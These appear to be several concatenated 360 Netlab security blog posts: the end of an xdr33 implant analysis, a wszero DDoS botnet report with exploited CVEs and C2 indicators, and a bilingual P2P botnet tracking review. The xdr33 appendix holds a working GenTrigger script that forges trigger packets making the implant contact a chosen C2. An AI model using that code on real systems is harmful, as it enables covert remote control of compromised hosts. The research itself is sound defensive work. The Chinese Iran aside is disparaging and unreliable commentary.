关于加密的设备信息，可以通过以下代码进行解密，以解密前8字节65 d8 b1 f9 b8 37 37 eb为例，解密后的数据为00 22 00 14 42 5A 68 39，包含了beacon_header_version + os+ bzip magic，和前面的分析能够一一对应。

import hexdump
import struct

def xtea_decrypt(key,block,n=32,endian="!"):
    v0,v1 = struct.unpack(endian+"2L", block)
    k = struct.unpack(endian+"4L",key)
    delta,mask = 0x9e3779b9,0xffffffff
    sum = (delta * n) & mask
    for round in range(n):
        v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask
        sum = (sum - delta) & mask
        v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask
    return struct.pack(endian+"2L",v0,v1)

def decrypt_data(key,data):
    size = len(data)
    i = 0
    ptext = b''
    while i < size:
        if size - i >= 8:
            ptext += xtea_decrypt(key,data[i:i+8])
        i += 8
    return ptext
key=bytes.fromhex("""
2E 09 9B 08 CF 53 BE E7  A0 BE 11 42 31 F4 45 3A
""")
enc_buf=bytes.fromhex("""
65 d8 b1 f9 b8 37 37 eb
""")

hexdump.hexdump(decrypt_data(key,enc_buf))

Trigger Task

Trigger主要功能是监听所有流量，等待特定格式的Triggger IP报文，当报文以及隐藏在报文中的Trigger Payload通过层层校验之后，Bot就和Trigger Payload中的C2建立通信，等待执行下发的指令。

0x1: 监听流量

使用函数调用socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) )，设定RAW SOCKET捕获IP报文，再通过以下代码片段对IP报文处理，可以看出Tirgger支持TCP,UDP，报文Payload最大长度为472字节。这种流量嗅探的实现方式会加大CPU的负载，事实上在socket上使用BPF-Filter效果会更好。

0x2: 校验Trigger报文

符合长度要求的TCP,UDP报文使用相同的处理函数check_payload进行进一步校验，

check_payload的代码如下所示:

可以看出它的处理逻辑：

使用CRC16/CCITT-FALSE算法计算报文中偏移8到92的CRC16值，得到crcValue
通过crcValue % 200+ 92得到crcValue在在报文中的偏移值，crcOffset
校验报文中crcOffset处的数据是否等于crcValue，若相等进入下一步
校验报文中crcOffset+2处的数据是否是127的整数倍，若是，进入下一步
Trigger_Payload是加密的，起始位置为crcOffset+12，长度为29字节。Xor_Key的起始位置是crcValue%55+8，将2者逐字节XOR，就得到了Trigger_Paylaod

至此可以确定Trigger报文格式是这样的：

0x3: 校验 Trigger Payload

如果Trigger报文通过校验，则通过check_trigger函数继续对Trigger Payload进行校验

可以看出它的处理逻辑：

取出Trigger Payload最后2字节，记作crcRaw
将Trigger Payload最后2字节置0，计算其CRC16，记作crcCalc
比较crcRaw，crcCalc，若相等，说明Trigger Payload在结构上是有效的

接着计算过Trigger Payload中的key的SHA1，和Bot中硬编码的SHA1 46a3c308401e03d3195c753caa14ef34a3806593进行比对。如果相等，说明Trigger Payload在内容是也是有效的，可以进入到最后一步，和Trigger Payload中的C2建立通信，等待执行其下发的指令。

至此可以确定Trigger Payload的格式是这样的：

0x4: 执行Trigger C2的指令

当一个Trigger报文通过层层校验之后，Bot就主动和Trigger Payload中指定的C2进行通信，等待执行C2下发指令。

支持的指令如下表所示：

Index	Function
0x00,0x00a	Exit
0x01	Download File
0x02	Execute CMD
0x04	Upload File
0x05	Delete
0x06	Shutdown
0x08	Launch SHELL
0x09	SOCKET5 PROXY
0x0b	Update BEACONINFO

值得一提的是，Trigger C2与Beacon C2在通信的细节上有所不同。Bot与Trigger C2在建立SSL隧道之后，会使用Diffie-Helllman密钥交换以建立共享密钥，这把钥匙用于AES算法创建第二层加密。

实验

为了验证Trigger部分逆向分析的正确性，我们对xdr33的SHA1值进行了Patch，填入了NetlabPatched,Enjoy! 的SHA1，并实现了附录的GenTrigger代码，用以产生UDP类型Trigger 报文。

我们在虚拟机192.168.159.133运行Patch后的xdr33样本，构造C2为192.168.159.128:6666的Trigger Payload，并以UDP的方式发送给192.168.159.133。最终效果如下，可以看到xdr33所在的implanted host在收到UDP Trigger报文后，和我们预想中的一样，向预设的Trigger C2发起了通信请求，Cool！

联系我们

至此xdr33的分析告一段落，这是我们目前掌握的关于这个魔改攻击套件的情况。如果社区有更多线索，以及感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。

IOC

sample

ee07a74d12c0bb3594965b51d0e45b6f

patched sample

af5d2dfcafbb23666129600f982ecb87

C2

45.9.150.144:443

BOT Private Key

BOT Certificate

CA Certificate

附录

0x1 Decode_RES

import idautils
import ida_bytes

def decode(addr,len):
    tmp=bytearray()
    
    buf=ida_bytes.get_bytes(addr,len)
    for i in buf:
        tmp.append(~i&0xff)

    print("%x, %s" %(addr,bytes(tmp)))
    ida_bytes.put_bytes(addr,bytes(tmp))
    idc.create_strlit(addr,addr+len)
    
calllist=idautils.CodeRefsTo(0x0804F1D8,1)
for addr in calllist:
    prev1Head=idc.prev_head(addr)
    if 'push    offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:
        bufaddr=idc.get_operand_value(prev1Head,0)
        prev2Head=idc.prev_head(prev1Head)
        
        if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:
            leng=idc.get_operand_value(prev2Head,0)
            decode(bufaddr,leng)

0x02 GenTrigger

import random
import socket


def crc16(data: bytearray, offset, length):
  if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):
    return 0
  crc = 0xFFFF
  for i in range(0, length):
    crc ^= data[offset + i] << 8
    for j in range(0, 8):
      if (crc & 0x8000) > 0:
        crc = (crc << 1) ^ 0x1021
      else:
        crc = crc << 1
  return crc & 0xFFFF

def Gen_payload(ip:str,port:int):
    out=bytearray()
    part1=random.randbytes(92)
    sum=crc16(part1,8,84)
  
    offset1=sum % 0xc8
    offset2=sum % 0x37
    padding1=random.randbytes(offset1)
    padding2=random.randbytes(8)
    
    
    host=socket.inet_aton(ip)
    C2=bytearray(b'\x01')
    C2+=host
    C2+=int.to_bytes(port,2,byteorder="big")
    key=b'NetlabPatched,Enjoy!'
    C2 = C2+key +b'\x00\x00'
    c2sum=crc16(C2,0,29)
    C2=C2[:-2]
    C2+=(int.to_bytes(c2sum,2,byteorder="big"))

    flag=0x7f*10
    out+=part1
    out+=padding1
    out+=(int.to_bytes(sum,2,byteorder="big"))
    out+=(int.to_bytes(flag,2,byteorder="big"))
    out+=padding2

    tmp=bytearray()
    for i in range(29):
      tmp.append(C2[i] ^ out[offset2+8+i])
    out+=tmp

    leng=472-len(out)
    lengpadding=random.randbytes(random.randint(0,leng+1))
    out+=lengpadding

    return out
    
payload=Gen_payload('192.168.159.128',6666)
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(payload,("192.168.159.133",2345))  # 任意端口

快讯：使用21个漏洞传播的DDoS家族WSzero已经发展到第4个版本

Hui Wang — Wed, 07 Dec 2022 12:58:21 GMT

概述

近期，我们的BotMon系统连续捕获到一个由Go编写的DDoS类型的僵尸网络家族，它用于DDoS攻击，使用了包括SSH/Telnet弱口令在内的多达22种传播方式。短时间内出现了4个不同的版本，有鉴于此，我们觉得该家族未来很可能继续活跃，值得警惕。下面从传播、样本和跟踪角度分别介绍。

传播分析

除了Telnet/SSH弱口令，我们观察到wszero还使用了如下21个漏洞进行传播：

VULNERABILITY	AFFECTED
CVE_2014_08361	Realtek SDK
CVE_2017_17106	Zivif Webcams
CVE_2017_17215	Huawei HG532
CVE_2018_12613	phpMyAdmin 4.8.x before 4.8.2
CVE_2020_10987	Tenda AC15 AC1900
CVE_2020_25506	D-Link DNS-320 FW v2.06B01 Revision Ax
CVE_2021_35395	Realtek Jungle SDK
CVE_2021_36260	Hikvision DVR
CVE_2021_46422	Telesquare SDT CW3B1
CVE_2022_01388	F5 BIG-IP
CVE_2022_22965	Spring
CVE_2022_25075	TOTOLINK A3000RU
CVE_2022_26186	TOTOLINK N600R
CVE_2022_26210	TOTOLINK A830R
CVE_2022_30525	Zyxel Firewall
CVE_2022_34538	Digital Watchdog DW MEGApix IP cameras
CVE_2022_37061	FLIR AX8 thermal sensor cameras
DLINK	D-Link DSL-2750B
CVE-2018-10561	Dasan GPON home router
SAPIDO RB-1732 command line execution	SAPIDO RB-1732
PHP Backdoor	PHP 8.1.0 dev Backdoor

样本分析

简单来说，wszero是一个Go语言编写的DDoS类型的僵尸网络家族，它被命名为wszero的原因是它的下载链接中的文件名多为zero.*这种形式，并且最新版本C2协议基于websocket，所以将其缩写为wszero。基于样本的C2协议、主机行为和C2加密等方面特征，我们把已经捕获的wszero分为4个大的版本，其捕获的时间线如下：

2022年11月18日，首次捕获到wszero v1
2022年11月21日，捕获到V2样本
2022年11月24日，捕获到V3样本
2022年11月26日，捕获到V3.x样本
2022年11月29日，捕获到V4样本

下面是这4个版本一些具体特性的对比:

Version	C2	Decryption	Exploit	Tel/SSH Crack	Protocol	Platform	Persistence	Instruction
v1	176.65.137.5:1401	SUB1	0	No	TCP	Linux	YES	print,attack,command
v2	176.65.137.5:80	NO	0	No	WS	Linux	YES	print,attack,command
v3	zero.sudolite.ml	SUB 1	0	No	WSS	Linux	YES	print,attack,command
v3.x	zero.sudolite.ml	SUB1	21	YES	WSS	Linux/Windows	YES	kill,attack,update,ping,stop,command,enable_scan,disable_scan
v4	176.65.137.5:80	SUB1	21	YES	WS	Linux/Windows	YES	kill,attack,update,ping,stop,command,enable_scan,disable_scan

因为使用Go编写并且未作混淆，从wszero样本中能容易的恢复出函数符号和功能逻辑等，因此我们不做详细的样本分析，下面着重介绍下wszero的C2存储和通信。

C2存储和解密

V1和V3都使用了加密的方式存储C2，其中V1的C2保存在样本的rodata段中，而V3则存放在局部变量中，如下图所示。

它们的解密方法相同，都为SUB 1算法，即逐字节减一。上图中将V3的局部变量拼接后，再进行解密就得到了C2以及URI。

C2协议

Wszero的C2消息使用了一个自定义的JSON串，不同版本间有几个JSON字段的微小差别。最初版本的底层传输协议使用TCP，后续版本换成了WEBSOCKET，以及TLS保护的WEBSOCKET，下面分别介绍。

上线包格式

当C2连接建立后，C2会主动向BOT发送Banner信息提示输入用户名，BOT首先向C2发送硬编码的用户名，接着再发送JSON格式的BotInfo，形如 {"platform": "%s", "gcc": "%s", "cpu": %d, "payload": "%s"} ，其中payload指的是分组信息。

底层传输协议的变化

V1版本采用了TCP，V2和V4基于WEBSOCKET，V3同样基于WEBSOCKET，但强制使用TLS对WEBSOCKET进行保护。

以V2为例，BOT和C2首先进行建立ws连接，

接着再发送BotInfo，内容格式依然为JSON串。

指令

当Bot注册成功后，就开始等待并执行C2下发的指令。指令消息同样是JSON格式，有Type， Data，Command 3 个key，其中Type用于指定DDoS或Command任务类别，Data/Command则分别用于存储DDoS选项，系统命令及参数。相关解析代码如下。

下面是我们实际接收到的HTTP_BYPASS攻击指令，当Bot接收到这个指令后就会使用该方法对目标进行攻击。

除了HTTP_BYPASS, wszero还支持TCP/UDP/ICMP等多种协议的攻击方法，完整列表详见下图。

指令跟踪情况

分析出这个新家族后，我们迅速做了跟踪处理，在2022年11月23日首次接收到DDoS攻击指令，具体DDoS攻击趋势如下图所示：

能看出来其攻击指令的下发并不是很频繁，这可能跟这个家族还处于早期发展阶段有关。目前其C2仍在活跃，并且频繁下发更新指令。

结尾

今年我们已经观察到多起使用Go开发的全新botnet家族，wszero只是其中之一。其作者在10多天的时间内做了4次大的升级，说明该家族还在发展之中，未来可能会继续推出新的版本。对此我们会持续关注，有新的发现将会及时公开。

联系我们

感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。

解决方案

基于Netlab多年研究工作孵化的360全系列DNS安全产品均已支持文中远控服务器的拦截和检测，同时内置多种算法可有效发现和拦截各种未知威胁，建议企业客户接入360 DNS安全SaaS平台或部署本地360DNS安全产品，及时防范此类新型威胁，避免企业资产失陷。联系人: wangkun-bd@360.cn

IoC

C2

176.65.137.5
zero.sudolite.ml

Loader IP

176.65.137.6
176.65.137.5

Sample

aabca688b31eb962a7a2849c57000bea
86827dc70c5001633b801b7b7fa8a9b9
0642bc041c2e4a74fbf58537a2305543
13e1966f13274c71d39e4aea7f62127e
271aebe152b793765a75e5e89d24cdbd
27f66ef808e5497528c653ba862822b7
2eca5324301a55dfa5b5d2c2b67ab9d0
342a5c7e1eb3ead0b6ddeeed4f1a811f
3627e6848eb9f6a28c7c83b347753f26
367b9095e93d27fc1a684a90a77e82f9
40b3bb4e7d00377cbd9d100b39d26ac0
45bc7cd7c7acdf679d1f3ceceb7d6602
4a5e9ffd3ce77d5269033b8032426e45
513a8036ca358b0acfce30903f95f12b
52d21fbad081d699ec6e041fcdd6133c
59d635cca6de9c417995ab5fa5501829
5eea56fc1f7a373973dc9ff0cc8fe86f
62c11ea75e82611b6ba7d7bf08ed009f
62eeda48db5d0f5c6ee31112fe0c18ee
6b6cac5bd765178545b0fa3caa0fd99b
72ad17b874a956fdb4c969a03924aea2
777a4bdda609735b1dd784b98fe27693
79a7fc0ae8222f29e9c6e133f7a33b4b
823c7b89db6a35345f205bb64769d5ef
83d647c9749e9a5a5f9c6ae01747a713
857dfb390d02f5ca93a37ffa2f0cbde2
871624995190fe3310f553f0fbc61b0e
88b98664c3c901242c73e1d8f18a47eb
8d85e3e0328cdd51c83fb68e31a28e62
8e2efc8f7edd7dfff4bad7126d30e254
8f55245e24c4e84df7e8dddd19523d93
9039df359128850de1b3ee1240b150d6
9606e8903df98f59a827be8876ace389
9d396b48773ccbc5fdb3ffc2fb7c20f6
9daae12c05a9a21c405c9319fc49c358
ae504e3f08e2fef8e95100811fe8e2be
b36b340ba9947dae7b5bab3e1330d53a
b7c841eb41d6233ff67006177a507c66
bbfefb41c71896f7433b58376218553d
bef01d6529c5250de0662547d75959b2
c5e6aae51d97acb44339ae4d5f296b4f
c8cfc2ddb08f812f6440b8918a916c75
d418109e5d81d48da12fe271cd08c61a
da86780f3a94c1aa6ea76fdfcb5db412
de28becdcbc5400261a809420c5953e3
ec0d832b564606660645e15f3b28fceb
f635dfefc35ad532d2ad9a08cb4864bd
f7cde1a55211f815bc3a6aecd04f731b
fcbb9872ea0fe1af63254b65c4475ee8
fe8e1f4680355b1093536165e445fa8e

P2P Botnets: Review - Status - Continuous Monitoring

360Netlab — Thu, 03 Nov 2022 14:00:00 GMT

Origins

P2P networks are more scalable and robust than traditional C/S structures, and these advantages were recognized by the botnet authors early on and used in their botnets. In terms of time, Storm, which appeared in 2007, can be considered the progenitor of this area, when botnet threats were first known to the public. after Storm, there have been Karen, ZeroAccess, GameOver, Hijime, mozi and other kinds of P2P botnes, P2P botnets come and go, and some, for example, Mozi keep on going even though the author had been caught.

The early P2P botnets mainly targeted Windows machines, such as Storm, ZeroAccess and GameOver, which were infected with the Windows operating system. after Mirai appeared in 2016, Linux IoT devices, which exist in large numbers on the network and lack some basic security defense, started to become the target of many botnets. For example, Hijime, mozi, pink all target Linux devices.

Because of the "centerless" nature of P2P networks, it is somewhat difficult to assess their size using traditional means. To try to solve this problem, security researchers have invented P2P crawler technology, which can track a P2P botnet and obtain node IPs, download links and configuration information for scale assessment and targeted removal.

Our team(360 netlab) has been focusing on discovering and tracking active botnets for a long time, and P2P botnets are surely on our radar. For example, we first disclosed the mozi botnet in 2019. In order to gain better visibility, we built an industrial-level tracking system for P2P botnets, with the goal of covering major active P2P botnets, This blog article will briefly analyze the current status of the following 5 families based on the tracking data generated by this system.

(In addition to the 5 families mentioned in this article, readers are also welcomed to leave comments below about new|active families of interest, and we will look into them accordingly)

Overview of tracking Strategy

This section will briefly introduce the main tracking strategies used in our tracking system.

Tracking Goals

The main goal of the system is to record the IPs of all the p2p nodes, we “create” a node by simulating the communication protocol, so it can join the corresponding P2P network to participate in the data message exchange. Every time a message exchange is successfully completed, the IP of the other party is recorded, this goes on and on and finally the majority of the nodes from the target P2P network would be recorded.

Methods

The protocol design of each P2P family varies, but following are some common strategies, normally at least one of these would be selected as the tracking method.

Active Probe: This strategy is somewhat similar to a public network scanner in terms of working principle. It first feeds probe messages to the target node, then parses the received reply messages, and identifies the peer as a peer node when the returned message format matches the family characteristics. In practice, we will first delineate a probe range and then probe the nodes within this range (where the probe range may consist of a suspicious network segment or suspicious nodes generated from other policies).

Recent communications：Common P2P families maintain a "recent communications list" of recent peers in each node's memory. In some families, this list is also available to other nodes via specific commands, and would commonly be used as a seed list when the node “boots up”, so that they can quickly join the P2P network. In this case, we can discover more peer nodes by traversing this "recent communication list".

Node heartbeat: When a node maintains a "recent communication list", it will send heartbeat messages to the nodes on the list periodically to declare its online status. Based on this, we can add the "fake node" to the other node's active list to get the active status of the corresponding node at any time. In some cases, we also send heartbeat messages to ensure that we don’t get kicked out by the network.

Wait and see: "Hajime" and "Mozi", for example, use "Distributed Hash Table" to implement their P2P network structure. This technique is designed to speed up data lookup by adding a rule of information-to-node distance and prioritizing the information to be stored on those nodes that are closer. Based on this rule, we can forge a “we-are-more-closer” node then wait for the arrival of other nodes. When other nodes try to obtain the information of the corresponding family from the forged node, we can directly record the other IP as the tracking result.

How to read the Data

Tracking family selection basis

We consider the following two dimensions to screen the appropriate families for tracking to ensure the relative objectivity of the final results.

Based on size: When selecting families, the most priority indicator is that the size of the botnet has to be large, or once historically large enough, in this case "Hajime"/"Mozi"/ “pink" all stand out.

Recent Disclosures: The next choice is the newly emerged ones that have been active at lease for a little while, based on this, we have chosen "panchan" and "frizefrog" as they are newly discovered this year.

Size of the infected bot nodes

Depending on the type of the host device, the number of bot IPs does not necessarily reflect the true number of infected devices.

Bots are servers: In order to provide stable services, the public IPs of servers usually do not change, so the numbers are more accurate.

Bots are IoT devices: These devices are usually found in the residential network. We all know that the IP addresses of residents devices change frequently. This can lead to a large uncertainty in the mapping relationship between the public IP and the device. Multiple devices might share a common public IP (NAT scenario), and devices can switch to different IPs multiple times within a time window (dial-up Internet scenario).

Daily activity of each family

As a comparison, if we take the daily activity of each Monday since August as a sample to plot the medium- and long-term tracking graph, the following is shown.

We can clearly see the order of the family size:

Pink > Hajime > Mozi >> FritzFrog <> Panchan

We can see that the daily activity data of each family has not changed much over the three months period (see the discussion below for Pink's fluctuations in August)

Statistics by family

Pink

At one point, the Pink family had infected more than one million devices in China, it has some cleverly designed command and control protocols. For time sensitive instructions, the control commands are pushed to the bots through a centralized mechanism, On the other hand, if the instructions are not urgent, P2P would be used. For more information, please refer to our previous report.

《Pink, a botnet that competed with the vendor to control the massive infected devices》

Geographical distribution

As shown in the figure, Pink's scope of influence is mainly domestic IoT devices, and the following is its distribution in China.

Daily activity fluctuation

It is worth mentioning in particular that the daily activity data of the family has fluctuated greatly since July, first dropping by an order of magnitude in a week starting on July 12, reaching a daily activity of about 20,000, then returning to zero for about 10 days after August 20, and then returning to 20,000 in September. The fluctuation of daily activity can be seen in the following chart.

Now let’s take a look at daily activity data of July 12, July 26 and September 1. It is easy to tell that the number of daily activities in most provinces decreased significantly with time goes by.

So, it is very likely that starting from July, the major device vendor carried out a national wide clean up effort, resulting in a significant decrease in the number of infected devices.

The fluctuations in late August, on the other hand, are likely due to a national wide C2 blocking action in place.

Hajime

Hajime, which emerged in the same year as MIRAI, less than a few months apart, has been claimed to be run by "white hats" in its alert messages, and its components function with the primary goal of self-propagation. The communication and management between its components makes extensive use of asymmetric encryption and decryption algorithms, making it an extremely classic P2P botnet family. We have covered this botnet in our previous blog.

《Is Hajime botnet dead?》

Geographical distribution

Iran tops the list

We normally don’t see Iran on our security event list, but with Hajime infection, Iran is leading the pack, which is pretty interesting. Please leave comments below if you have more insights.

CPU distribution in Hajime

Hajime is a P2P network built on file exchanging and each Hajime bot tries to find the latest version of .i.xxx and atk.xxx files (e.g. atk.arm7/.i.arm7) when it runs. This gives us an opportunity to evaluate the CPU distribution in the "Hajime network". When the Hajime node asks us which nodes contain the corresponding files, we gets a DHT.search count. When a Hajime node asks us to download the corresponding file, we gets a uTP.Request count. Putting these two types of files and two types of counts together, we would have the following four pie charts:

Based on the above pie charts, we can see that MIPS based bots are the majority in the Hajime network, far exceeding the sum of the other types of hosts, while MIPSEL has the fewest host nodes.

If we consider that Hajime had integrated a large number of vulnerabilities for propagation, this data can even reflect to some extent the distribution of each type of CPU in smart devices.

Mozi

Mozi started out as a P2P family performing DDoS attacks for profits, and later added a mining component. Its network topology is built on the basis of the DHT protocol. More information can be found in our previously published reports.

《Mozi, Another Botnet Using DHT》

《The Mostly Dead Mozi and Its’ Lingering Bots》

Geographical Distribution

FritzFrog

FritzFrog is a mining P2P family which relies on SSH services to build P2P networks. It was first disclosed by akamai. More details can be found in the following report (interestingly, FritzFrog wallet address is related to Mozi).

《FritzFrog: P2P Botnet Hops Back on the Scene》

Geographical Distribution

Account Passwords in FritzFrog

Since FritzFrog's P2P is based on SSH implementation, the password of the infected nodes are reflected in the crawled data, the following are the top passwords.

The No.1 weak password starts with 1, can anyone take a guess what it is?

Panchan

Panchan is a mining P2P botnet developed in Go language, it also uses SSH weak passwords for propagation. Its code contains a lot of Japanese katakana, which suggests that Panchan's developers are fluent in Japanese. Another interesting point is that it implements an interactive console on the listening port, using the idea of protocol reuse, allowing administrators to perform some simple queries and management of the nodes from the network. More detailed information can be found in the following Akamai report.

《Panchan’s Mining Rig: New Golang Peer-to-Peer Botnet Says “Hi!”》

Geographic Distribution

Conclusion

Normally we end our blog with some conclusion, do we have one here? Not really, we just want to shout out to our readers again: if you have seen some interesting p2p botnet, leave a comment, shoot us an email(netlab[at]360.cn) or on twitter.

P2P 僵尸网络：回顾·现状·持续监测

360Netlab — Wed, 02 Nov 2022 03:11:33 GMT

缘起

P2P结构的网络比传统的C/S结构具有更好的可扩展性和健壮性，这些优点很早就为botnet的作者所认识到并被用到他们的僵尸网络中。从时间上看，2007年出现的Storm可以算是这方面的鼻祖，那时botnet这种网络威胁刚为大众所知。Storm之后，陆续又有Karen、ZeroAccess、GameOver、Hijime、mozi等20来种P2P botnet先后出现，它们在技术上各有特点，共同点就是规模大、防御难度大，想让它们彻底消失比较困难，比如Mozi在作者已经明确放弃甚至被抓几年之后还在活跃，可谓“百足之虫死而不僵”。

早期的P2P botnet主要针对Windows机器，比如Storm、ZeroAccess以及GameOver感染的都是Windows操作系统。2016年Mirai出现之后，网络上那些大量存在而又缺乏防御的Linux IoT设备开始成为许多botnet的目标，Hijime、mozi、pink等针对Linux设备的P2P botnet陆续出现。

由于P2P网络“无中心”的特点，使用传统的手段来评估其规模有点困难。为了解决这个问题，安全研究人员另辟蹊径，发明了P2P爬虫技术，通过它来跟踪某个P2P botnet，获取节点IP以及下载链接和配置等信息，用于规模评估和定点清除。

360 Netlab致力于及时发现和跟踪大网上活跃的botnet，对P2P僵尸网络当然不会放过，比如我们19年首先公开分析了mozi僵尸网络。为了更好的“看见”威胁，我们基于自身的积累以及业内已有的分析结果构建了一个针对P2P Botnet的工业级别跟踪系统，目标是覆盖所有活跃的P2P botnet，目前基于“历史规模较大”和“近期出现”这两个维度优先跟踪了Pink、Mozi、Hajime、FritzFrog和Panchan这5个仍在活跃的家族，本文基于这个系统产生的跟踪数据简单分析下这5个家族的现状。

PS: 除本文提到的 5 个家族外，也欢迎读者把其他感兴趣的活跃家族留在下方评论区，我们可以酌情优先安排盯梢。

跟踪策略概述

本小节会简单介绍一下跟踪系统中使用的主要跟踪策略，以方面读者理解文中所用数据的产生过程，增强数据的可解释性。

跟踪目标

该跟踪系统以记录节点IP为主要目标，通过模拟通讯协议的方法伪造一个节点，并使其加入对应的P2P网络，参与数据报文交换。每成功完成一次报文交换，便记录下对方的IP，最终实现对目标P2P网络所有节点的记录。

策略展开

PS：由于各P2P家族的协议设计各不相同，所以以下策略并不能全部利用在各个家族上，只能根据实际情况选择其中至少一个策略作为对应家族的跟踪策略。

主动探测：该策略从工作原理上看，有些类似于公网扫描器。它首先向目标节点投喂探测报文，然后对收到的回复报文进行解析，当返回的报文格式符合家族特征时，则将对端认定为对等节点。在实际操作中，我们会先划定一个探测范围，再对这个范围内的节点进行探测（其中探测范围可能由一个可疑网段组成，也可能是从其他策略中产生的可疑节点组成）。

最近通讯：常见 P2P 家族，会在每个节点内存中维护一个近期通讯过的“最近通讯列表”。在部分家族中，其他节点还可通过特定指令获取到这个列表，作为自身启动时的种子列表，从而快速加入 P2P 网络。我们可以通过遍历这个“最近通讯列表”，发现更多的对等节点。

节点心跳：当一个节点维护了“最近通讯列表”后，这个节点一般都会定期向列表中的节点发送心跳报文，声明自身在线情况。基于此，我们可以将“伪造节点”加入对方的活跃列表中，以便于随时获取相应节点的活跃情况。一些情况下，还会通过发送心跳报文的方式保证自己不被踢出列表。

守株待兔：以Hajime 和Mozi 为例，这两个家族会利用“分布式哈希表技术”来实现其P2P网络结构。该技术在设计时为了加速数据查找速度，加入了一个信息到节点距离的规则，并将待存储信息优先保存在距离较近的那些节点上。基于此规则，我们在获知待获取信息后，可以伪造出一个距离该信息最近的节点等待其他节点的到来，当其他节点尝试从伪造节点获取对应家族的信息时，我们就可以直接将对方IP作为跟踪结果记录下来。

数据含义

跟踪家族选择依据

要想准确估计 P2PBotnet 的整体情况，选择哪些家族很重要，理想状态下肯定是把所有家族都放到一起进行比较，才客观公正，但每增加一个家族都会提高系统整体的完成难度，这是无法一蹴而就的。所以，我们考虑从以下两个维度来筛选合适的家族进行跟踪，以保证最终结果的相对客观。

基于规模: 在选择家族时，最优先考虑的指标就是要规模够大，或者说曾经历史上的规模够大，这样才能保证我们的评估结果有说服力，所以“Hajime”/“Mozi”/“pink” 毫无疑问的中选了。

近期披露：其次的选择就是新出现，并已经活跃一段时间，以避免后来者居上的情况发生，基于此，我们选择了本年新披露的 “panchan” 和 “frizefrog”作为跟踪目标。

受控端IP的含义

视宿主设备类型而定，受控端IP的含义会存在一些挑战，并不能直接反应受感染设备的真实数量。

受控宿主为常年在线服务器：这类服务器为了能够稳定的提供服务，其公网IP一般不会变化。此时受控端的公网IP和设备数量间有稳定的对应关系。

受控端宿主为IoT设备：这类设备一般出现在居民网段内。居民上网时，一方面会出现多户居民共用同一公网出口的情况（NAT网络），另一方面还会有拨号上网按时计费的情况，使居民的IP地址频繁变动。这会导致公网IP与设备间的映射关系出现较大的不确定性。多设备共用一个公网IP(NAT场景)，在一个时间窗口内设备多次切换不同的IP（拨号上网场景）。

各家族日活趋于稳定

作为对比，如果我们把 8月以来每个周一的日活数作为抽样，来绘制中长期跟踪图，如下所示：

从量级上，我们能首先得出，5个家族在日活规模上的大小关系：

Pink > Hajime > Mozi >> FritzFrog <> Panchan

其次，还可以看出，在三个月以来，各家族的日活数据变化并不大（关于 Pink 在8月份的波动情况见下文的讨论，这里暂时忽略）。面对这样的现象，我们大致讨论出了以下几点原因，供大家参考：

P2P 类型的僵尸网络，天然难以清理。集中式的僵尸网络只要打掉主控端，受控端很容易失去活性逐步被其他网络蚕食。而P2P类型则不存在严格的主控端，每个节点都是自发的扩展和传播，想要完全在网络上清理干净很难。
IoT类型的设备不会频繁更换和升级。这些僵尸网络的宿主大部分以 IoT 设备为主，不更换意味着长期处在“染毒”的状态，设备系统不升级，意味着长期处在“易感染”的状态。综合下来，这些僵尸网络的节点数量就会处在一个相对稳定的状态下。
长期闷声，更新也不频繁。对于僵尸网络来说，每次“增加”或“减少”传播策略，一般都会引起僵尸网络节点数量的波动。而上述5中僵尸网络在近期并没有看到更新。所以节点数量会维持在一个相对稳定的状态。
它们造成的恶劣影响，还不足以使安全社区产生强烈的清理愿望。另一方面，它们很长一段时间都没有更新，也没有机会在大众视野中亮相，这也会降低安全社区处置的欲望。

按家族分别统计

Pink

Pink 家族曾在中国境内感染了超过百万级的设备，其非实效性指令通过 P2P 传递，实效性强的指令通过集中控制的方式发布。是一个设计巧妙的 P2P 僵尸网络家族。更多相关信息可参考我们曾经发布过的报告：

《Pink, a botnet that competed with the vendor to control the massive infected devices》

地理分布

如图所示，Pink的影响范围是以国内IoT设备为主，下面是其在国内的分布情况：

日活波动

值得特别提到的是，该家族7月份以来的日活数据有较大的波动，首先在7月12日开始的一个星期内下降了一个数量级，日活达到2万左右级别，随后在8月20日之后的一段时间瞬间归零10天左右，9月份又回到2万级别日活。日活波动情况可参看下图：

为了分析波动原因，我们分别选取 7月12日/7月26日/9月1日的日活数据分别绘制地理分布图，发现，大部分省份的日活数量发生显著的降低。如下三图所示：

基于以上内容，我们推测，在7月份，各省份进行了较为统一的处置工作，使受感染设备的数量出现大幅下降。而在8月末的波动中，则更可能是类似于防火墙短期规则产生的效果，阻断了跟踪器同PINK节点的通讯。

Hajime

Hajime 的出现时间与 MIRAI 同年，前后差不到几个月，其提示信息中一直声称是由“白帽子”运营的。Hajime 的各组件功能也以自传播为主要目标。其组件间的通讯及管理，大量使用了非对称加解密算法的特性，是一个极为经典的 P2P 僵尸网络家族。更多详细资料可参考我们曾经发布过的报告：

《Is Hajime botnet dead?》

地理分布

伊朗居首

作为IT从业者，提到伊朗，能想到的只有“伊核协议”或者“头巾”，似乎很难把它和“电子化”扯上关系。即使是多次在IoT设备感染列表的前列中看到来自伊朗的IP，也总觉得伊朗不会有那么多的智能设备，大概是数据失真了。

近期有机会在“俄乌战场”上看到“伊朗无人机”发挥的效果，可以说是挺超出预期的。现在笔者开始想，如果排除数据失真，就意味着伊朗在一些地方是超出多数人想象的，虽然看到的这些东西还远谈不上先进，但是他们能大量的制造无人机，提纯核原料，网络上还有着大量的智能设备，这些侧面都表明他们在“工业化”和“电子化”上是有积累的，背后肯定有大量受过高等教育的工程师。他们有着和中西方完全不同的文字和文化，正在另一个世界里猥琐发育呢。

Hajime 中的CPU分布情况

